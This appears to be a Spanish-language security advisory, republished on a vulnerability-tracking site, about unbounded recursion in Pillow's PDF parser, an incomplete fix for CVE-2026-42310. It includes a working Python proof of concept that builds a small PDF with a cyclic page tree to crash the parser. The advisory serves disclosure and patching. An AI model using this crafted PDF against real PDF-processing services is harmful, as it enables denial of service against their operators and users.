Pillow: Recursión ilimitada al analizar un árbol de páginas o una cadena de trailer de PDF (corrección incompleta para CVE-2026-42310)
Resumen
Cuando una aplicación añade contenido a un PDF existente con Image.save(..., format="PDF", append=True), Pillow analiza ese archivo con PdfParser. Dos analizadores recursivos carecen de un límite efectivo. linearize_page_tree sigue /Kids sin un conjunto de visitados ni un límite de profundidad, por lo que un árbol de páginas cíclico o duplicado entra en recursión indefinida. read_prev_trailer rechaza únicamente un desplazamiento /Prev exactamente repetido, por lo que una cadena larga de desplazamientos únicos aún entra en recursión. La protección contra bucles en el trailer agregada para CVE-2026-42310 no cubre ninguno de los dos casos.
Detalles
linearize_page_tree realiza recursión sobre /Kids sin verificación de ciclos ni de profundidad:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer solo detecta un desplazamiento repetido:
src/PIL/PdfParser.py:697-720(la verificaciónprocessed_offsetsen:714-718corresponde a la corrección de CVE-2026-42310; una cadena de desplazamientos únicos la elude)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Ejecución:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
El archivo de 315 bytes desencadena la recursión durante el análisis. Un árbol /Kids duplicado (no cíclico) produce, en cambio, un consumo superlineal de CPU y memoria, y una cadena larga de /Prev con desplazamientos únicos desencadena la recursión en el extremo del trailer.
Impacto
Un servicio que añade datos a archivos PDF suministrados por usuarios, por ejemplo un pipeline de estamping o marcas de agua, puede verse abocado a una recursión no controlada o a un uso intensivo de CPU y memoria antes de que se escriba ninguna imagen. Seguimiento de CVE-2026-42310. Dado que las políticas de Pillow desaconsejan registrar excepciones estándar de Python como denegación de servicio, se prioriza el caso del árbol cíclico, que consume CPU y memoria en lugar de limitarse a generar RecursionError. La solución consiste en un conjunto de elementos visitados junto con un límite de profundidad en ambos analizadores.
Qué hacer
Actualice Pillow a la versión 13.0.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
Referencias
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528
- https://nvd.nist.gov/vuln/detail/CVE-2026-112895
- https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-674- Plataforma
- Python (PyPI)
- Paquete
pillow- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 23:38
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0
Historial de vulnerabilidades: pillow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 81
- Primera → última
- 04.2014 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Crítica 10
- Alta 53
- Media 16
- Baja 1
- Sin evaluar 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 23
antes: 12
-
Pillow: Recursión ilimitada al analizar un árbol de páginas o una cadena de trailer de PDF (corrección incompleta para CVE-2026-42310) esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.